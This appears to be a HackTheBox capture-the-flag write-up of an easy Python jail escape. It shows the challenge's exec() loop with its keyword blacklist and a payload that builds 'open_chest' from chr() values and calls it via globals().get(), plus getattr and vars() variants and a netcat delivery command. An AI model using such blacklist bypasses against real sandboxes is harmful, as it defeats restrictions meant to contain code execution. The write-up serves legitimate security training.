← Back to Writeups
HTBEasyMisc

Locked Away

XESXOR9/10/20263 min read
#misc#htb#easy#chr_string_construction#globals_get_bypass#linux

Locked Away

Platform: HackTheBox | Category: Misc | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-01-29 | Status: Solved Techniques: chr_string_construction, globals_get_bypass

Summary

Task: Escape a Python jail with exec() that blacklists import, os, eval, open, quotes, and brackets. Solution: Call the open_chest() function (which reads the flag) by constructing the string "open_chest" using chr() concatenation and accessing it via globals().get() to avoid blocked quotes and brackets.

Locked Away - HackTheBox

Description

"A test! Getting onto the team is one thing, but you must prove your skills to be chosen to represent the best of the best. They have given you the classic - a restricted environment, devoid of functionality, and it is up to you to see what you can do. Can you break open the chest? Do you have what it takes to bring humanity from the brink?"

Connection: nc 94.237.61.249 54149

Analysis

The challenge provides a Python jail where user input is executed via exec(), but with a blacklist filter.

Source Code (main.py)

python
banner = r'''
.____                  __              .___    _____                        
|    |    ____   ____ |  | __ ____   __| _/   /  _  \__  _  _______  ___.__.
|    |   /  _ \_/ ___\|  |/ // __ \ / __ |   /  /_\  \ \/ \/ /\__  \<   |  |
|    |__(  <_> )  \___|    <\  ___// /_/ |  /    |    \     /  / __ \\___  |
|_______ \____/ \___  >__|_ \\___  >____ |  \____|__  /\/\_/  (____  / ____|
        \/          \/     \/    \/     \/          \/             \/\/     
'''


def open_chest():
    with open('flag.txt', 'r') as f:
        print(f.read())


blacklist = [
    'import', 'os', 'sys', 'breakpoint',
    'flag', 'txt', 'read', 'eval', 'exec',
    'dir', 'print', 'subprocess', '[', ']',
    'echo', 'cat', '>', '<', '"', '\'', 'open'
]

print(banner)

while True:
    command = input('The chest lies waiting... ')

    if any(b in command for b in blacklist):
        print('Invalid command!')
        continue

    try:
        exec(command)
    except Exception:
        print('You have been locked away...')
        exit(1337)

Blacklist Analysis

CategoryBlocked Items
Keywordsimport, os, sys, breakpoint, eval, exec, dir, print, subprocess
File-relatedflag, txt, read, open
Dangerous chars[, ], >, <, ", '
Shell commandsecho, cat

Goal

Call the open_chest() function which reads and prints the flag.

Problem

The function name open_chest contains open which is blacklisted!

Solution

Bypass Technique

  1. Avoid brackets []: Use globals().get() instead of globals()['key']
  2. Avoid blacklisted word "open": Build the string using chr() function

Character Codes for "open_chest"

CharCode
o111
p112
e101
n110
_95
c99
h104
e101
s115
t116

Final Payload

python
globals().get(chr(111)+chr(112)+chr(101)+chr(110)+chr(95)+chr(99)+chr(104)+chr(101)+chr(115)+chr(116))()

How it works:

  • chr(111)+chr(112)+chr(101)+chr(110) = "open"
  • chr(95) = "_"
  • chr(99)+chr(104)+chr(101)+chr(115)+chr(116) = "chest"
  • globals().get("open_chest") returns the function object
  • () calls the function

Execution

bash
printf 'globals().get(chr(111)+chr(112)+chr(101)+chr(110)+chr(95)+chr(99)+chr(104)+chr(101)+chr(115)+chr(116))()\n' | nc 94.237.61.249 54149

Alternative Approaches

Using getattr()

python
getattr(getattr(__builtins__, chr(103)+chr(108)+chr(111)+chr(98)+chr(97)+chr(108)+chr(115))(), chr(111)+chr(112)+chr(101)+chr(110)+chr(95)+chr(99)+chr(104)+chr(101)+chr(115)+chr(116))()

Using vars()

python
vars().get(chr(111)+chr(112)+chr(101)+chr(110)+chr(95)+chr(99)+chr(104)+chr(101)+chr(115)+chr(116))()

References